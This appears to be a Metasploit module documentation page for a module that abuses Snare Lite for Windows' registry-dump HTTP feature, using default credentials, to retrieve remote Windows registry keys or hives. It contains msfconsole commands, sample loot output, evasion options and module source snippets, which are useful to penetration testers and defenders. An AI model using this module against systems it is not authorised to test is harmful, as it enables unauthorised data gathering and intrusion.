Snare Lite for Windows Registry Access - Metasploit


This page contains detailed information about how to use the auxiliary/gather/snare_registry metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Snare Lite for Windows Registry Access
Module: auxiliary/gather/snare_registry
Source code: modules/auxiliary/gather/snare_registry.rb
Disclosure date: -
Last modification time: 2019-01-10 19:19:14 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 6161, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module uses the Registry Dump feature of the Snare Lite for Windows service on 6161/TCP to retrieve the Windows registry. The Dump Registry functionality is unavailable in Snare Enterprise. Note: The Dump Registry functionality accepts only one connected client at a time. Requesting a large key/hive will cause the service to become unresponsive until the server completes the request.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/snare_registry
msf auxiliary(snare_registry) > show targets
    ... a list of targets ...
msf auxiliary(snare_registry) > set TARGET target-id
msf auxiliary(snare_registry) > show options
    ... show and set options ...
msf auxiliary(snare_registry) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module uses the Registry Dump feature of the Snare Lite for Windows HTTP service on 6161/TCP to retrieve the Windows registry. The Registry Dump functionality is unavailable in Snare Enterprise.

Note: The Registry Dump functionality accepts only one connected client at a time. Requesting a large key/hive will cause the service to become unresponsive until the server completes the request.

Vulnerable Application


SNARE (System iNtrusion Analysis and Reporting Environment) is a series of log collection agents that facilitate centralised analysis of audit log data.

This module has been tested successfully with Snare Lite for Windows version 4.0.2.0 on Windows XP SP3.

Snare Lite for Windows is no longer supported, however a free trial is available from the Snare Alliance website.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/gather/snare_registry
  3. Do: set rhost [IP]
  4. Do: set HttpUsername [USERNAME]
  5. Do: set HttpPassword [PASSWORD]
  6. Do: run
  7. You should get a copy of HKLM\HARDWARE\DESCRIPTION\System from the remote Windows system

Options


HttpUsername

The username for Snare remote access (default: snare).

HttpPassword

The password for Snare remote access (default: blank).

REG_DUMP_KEY

Retrieve the specified registry key and all sub-keys.

REG_DUMP_ALL

Retrieve the entire Windows registry.

TIMEOUT

Timeout in seconds for downloading each registry key/hive.

Scenarios


Retrieve a specific registry key:

  msf auxiliary(snare_registry) > set REG_DUMP_KEY HKLM\\HARDWARE\\DESCRIPTION\\System
  REG_DUMP_KEY => HKLM\HARDWARE\DESCRIPTION\System
  msf auxiliary(snare_registry) > run

  [*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\HARDWARE\\DESCRIPTION\\System'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (23092 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133011_default_192.168.18.155_snare.registry_842138.txt
  [*] Auxiliary module execution completed

Retrieve an entire hive:

  msf auxiliary(snare_registry) > set REG_DUMP_KEY HKLM
  REG_DUMP_KEY => HKLM
  msf auxiliary(snare_registry) > run

  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKLM'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (10657975 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133147_default_192.168.18.155_snare.registry_247207.txt
  [*] Auxiliary module execution completed

Retrieve the entire registry:

  msf auxiliary(snare_registry) > set REG_DUMP_ALL true
  REG_DUMP_ALL => true
  msf auxiliary(snare_registry) > run

  [*] 192.168.18.155:6161 - Retrieving list of registry hives ...
  [+] 192.168.18.155:6161 - Found 5 registry hives (HKEY_CLASSES_ROOT, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS)
  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CLASSES_ROOT'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (3933816 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133222_default_192.168.18.155_snare.registry_070659.txt
  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_CONFIG'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (5605 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133222_default_192.168.18.155_snare.registry_376606.txt
  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_USER'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (269927 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133223_default_192.168.18.155_snare.registry_653681.txt
  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_LOCAL_MACHINE'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (11446508 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133336_default_192.168.18.155_snare.registry_003003.txt
  [*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_USERS'...
  [+] 192.168.18.155:6161 - Retrieved key successfully (1668306 bytes)
  [+] File saved in: /root/.msf4/loot/20151225133342_default_192.168.18.155_snare.registry_236335.txt
  [*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the gather/snare_registry auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/snare_registry

msf6 auxiliary(gather/snare_registry) > show info

       Name: Snare Lite for Windows Registry Access
     Module: auxiliary/gather/snare_registry
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name          Current Setting                   Required  Description
  ----          ---------------                   --------  -----------
  HttpPassword                                    yes       The password for Snare remote access
  HttpUsername  snare                             yes       The username for Snare remote access
  Proxies                                         no        A proxy chain of format type:host:port[,type:host:port][...]
  REG_DUMP_ALL  false                             no        Retrieve the entire Windows registry
  REG_DUMP_KEY  HKLM\HARDWARE\DESCRIPTION\System  no        Retrieve this registry key and all sub-keys
  RHOSTS                                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         6161                              yes       The target port (TCP)
  SSL           false                             no        Negotiate SSL/TLS for outgoing connections
  TIMEOUT       300                               yes       Timeout in seconds for downloading each registry key/hive
  VHOST                                           no        HTTP server virtual host

Description:
  This module uses the Registry Dump feature of the Snare Lite for 
  Windows service on 6161/TCP to retrieve the Windows registry. The 
  Dump Registry functionality is unavailable in Snare Enterprise. 
  Note: The Dump Registry functionality accepts only one connected 
  client at a time. Requesting a large key/hive will cause the service 
  to become unresponsive until the server completes the request.

References:
  https://www.intersectalliance.com/wp-content/uploads/user_guides/Guide_to_Snare_for_Windows-4.2.pdf

Module Options


This is a complete list of options available in the gather/snare_registry auxiliary module:

msf6 auxiliary(gather/snare_registry) > show options

Module options (auxiliary/gather/snare_registry):

   Name          Current Setting                   Required  Description
   ----          ---------------                   --------  -----------
   HttpPassword                                    yes       The password for Snare remote access
   HttpUsername  snare                             yes       The username for Snare remote access
   Proxies                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   REG_DUMP_ALL  false                             no        Retrieve the entire Windows registry
   REG_DUMP_KEY  HKLM\HARDWARE\DESCRIPTION\System  no        Retrieve this registry key and all sub-keys
   RHOSTS                                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         6161                              yes       The target port (TCP)
   SSL           false                             no        Negotiate SSL/TLS for outgoing connections
   TIMEOUT       300                               yes       Timeout in seconds for downloading each registry key/hive
   VHOST                                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/snare_registry auxiliary module:

msf6 auxiliary(gather/snare_registry) > show advanced

Module advanced options (auxiliary/gather/snare_registry):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/snare_registry module can do:

msf6 auxiliary(gather/snare_registry) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/snare_registry auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/snare_registry) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Please supply a valid key name


Here is a relevant code snippet related to the "<PEER> - Please supply a valid key name" error message:

48:	  #
49:	  # Retrieve the supplied registry key
50:	  #
51:	  def dump_key(reg_key)
52:	    if reg_key.blank?
53:	      fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name")
54:	    end
55:	    hive = reg_key.split('\\').first
56:	    key = reg_key.split('\\')[1..-1].join('\\\\')
57:	    if hive !~ /\A[A-Z0-9_]+\z/i
58:	      fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name")

<PEER> - Please supply a valid key name


Here is a relevant code snippet related to the "<PEER> - Please supply a valid key name" error message:

53:	      fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name")
54:	    end
55:	    hive = reg_key.split('\\').first
56:	    key = reg_key.split('\\')[1..-1].join('\\\\')
57:	    if hive !~ /\A[A-Z0-9_]+\z/i
58:	      fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name")
59:	    end
60:	    vars_get = { 'str_Base' => hive }
61:	    if key.eql?('')
62:	      print_status("#{peer} - Retrieving registry hive '#{hive}'...")
63:	    else

<PEER> - Connection failed


Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:

68:	      'uri' => normalize_uri('RegDump'),
69:	      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
70:	      'vars_get' => vars_get
71:	    }, datastore['TIMEOUT'])
72:	    if !res
73:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
74:	    elsif res.code && res.code == 401
75:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
76:	    elsif res.code && res.code == 404
77:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
78:	    elsif res.code && res.code == 200 && res.body && res.body =~ /\AKEY: /

<PEER> - Authentication failed


Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:

70:	      'vars_get' => vars_get
71:	    }, datastore['TIMEOUT'])
72:	    if !res
73:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
74:	    elsif res.code && res.code == 401
75:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
76:	    elsif res.code && res.code == 404
77:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
78:	    elsif res.code && res.code == 200 && res.body && res.body =~ /\AKEY: /
79:	      print_good("#{peer} - Retrieved key successfully (#{res.body.length} bytes)")
80:	    elsif res.code && res.code == 200 && res.body && res.body =~ /the supplied subkey cannot be found/

<PEER> - Dump Registry feature is unavailable


Here is a relevant code snippet related to the "<PEER> - Dump Registry feature is unavailable" error message:

72:	    if !res
73:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
74:	    elsif res.code && res.code == 401
75:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
76:	    elsif res.code && res.code == 404
77:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
78:	    elsif res.code && res.code == 200 && res.body && res.body =~ /\AKEY: /
79:	      print_good("#{peer} - Retrieved key successfully (#{res.body.length} bytes)")
80:	    elsif res.code && res.code == 200 && res.body && res.body =~ /the supplied subkey cannot be found/
81:	      fail_with(Failure::NotFound, "#{peer} - The supplied registry key does not exist")
82:	    else

<PEER> - The supplied registry key does not exist


Here is a relevant code snippet related to the "<PEER> - The supplied registry key does not exist" error message:

76:	    elsif res.code && res.code == 404
77:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
78:	    elsif res.code && res.code == 200 && res.body && res.body =~ /\AKEY: /
79:	      print_good("#{peer} - Retrieved key successfully (#{res.body.length} bytes)")
80:	    elsif res.code && res.code == 200 && res.body && res.body =~ /the supplied subkey cannot be found/
81:	      fail_with(Failure::NotFound, "#{peer} - The supplied registry key does not exist")
82:	    else
83:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected reply (#{res.body.length} bytes)")
84:	    end
85:	    path = store_loot(
86:	      'snare.registry',

<PEER> - Unexpected reply (<RES.BODY.LENGTH> bytes)


Here is a relevant code snippet related to the "<PEER> - Unexpected reply (<RES.BODY.LENGTH> bytes)" error message:

78:	    elsif res.code && res.code == 200 && res.body && res.body =~ /\AKEY: /
79:	      print_good("#{peer} - Retrieved key successfully (#{res.body.length} bytes)")
80:	    elsif res.code && res.code == 200 && res.body && res.body =~ /the supplied subkey cannot be found/
81:	      fail_with(Failure::NotFound, "#{peer} - The supplied registry key does not exist")
82:	    else
83:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected reply (#{res.body.length} bytes)")
84:	    end
85:	    path = store_loot(
86:	      'snare.registry',
87:	      'text/plain',
88:	      datastore['RHOST'],

<PEER> - Connection failed


Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:

101:	    res = send_request_cgi(
102:	      'uri' => normalize_uri('RegDump'),
103:	      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
104:	    )
105:	    if !res
106:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
107:	    elsif res.code && res.code == 401
108:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
109:	    elsif res.code && res.code == 404
110:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
111:	    elsif res.code && res.code == 200 && res.body && res.body =~ /RegDump\?str_Base/

<PEER> - Authentication failed


Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:

103:	      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
104:	    )
105:	    if !res
106:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
107:	    elsif res.code && res.code == 401
108:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
109:	    elsif res.code && res.code == 404
110:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
111:	    elsif res.code && res.code == 200 && res.body && res.body =~ /RegDump\?str_Base/
112:	      hives = res.body.scan(%r{<li><a href="\/RegDump\?str_Base=([a-zA-Z0-9_]+)">}).flatten
113:	      vprint_good("#{peer} - Found #{hives.length} registry hives (#{hives.join(', ')})")

<PEER> - Dump Registry feature is unavailable


Here is a relevant code snippet related to the "<PEER> - Dump Registry feature is unavailable" error message:

105:	    if !res
106:	      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
107:	    elsif res.code && res.code == 401
108:	      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
109:	    elsif res.code && res.code == 404
110:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
111:	    elsif res.code && res.code == 200 && res.body && res.body =~ /RegDump\?str_Base/
112:	      hives = res.body.scan(%r{<li><a href="\/RegDump\?str_Base=([a-zA-Z0-9_]+)">}).flatten
113:	      vprint_good("#{peer} - Found #{hives.length} registry hives (#{hives.join(', ')})")
114:	    else
115:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected reply (#{res.body.length} bytes)")

<PEER> - Unexpected reply (<RES.BODY.LENGTH> bytes)


Here is a relevant code snippet related to the "<PEER> - Unexpected reply (<RES.BODY.LENGTH> bytes)" error message:

110:	      fail_with(Failure::NotVulnerable, "#{peer} - Dump Registry feature is unavailable")
111:	    elsif res.code && res.code == 200 && res.body && res.body =~ /RegDump\?str_Base/
112:	      hives = res.body.scan(%r{<li><a href="\/RegDump\?str_Base=([a-zA-Z0-9_]+)">}).flatten
113:	      vprint_good("#{peer} - Found #{hives.length} registry hives (#{hives.join(', ')})")
114:	    else
115:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected reply (#{res.body.length} bytes)")
116:	    end
117:	    hives
118:	  end
119:	
120:	  #

<PEER> - Found no registry hives


Here is a relevant code snippet related to the "<PEER> - Found no registry hives" error message:

121:	  # Retrieve all registry hives
122:	  #
123:	  def dump_all
124:	    hives = retrieve_hive_list
125:	    if hives.blank?
126:	      print_error("#{peer} - Found no registry hives")
127:	      return
128:	    end
129:	    hives.each { |hive| dump_key(hive) }
130:	  end
131:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.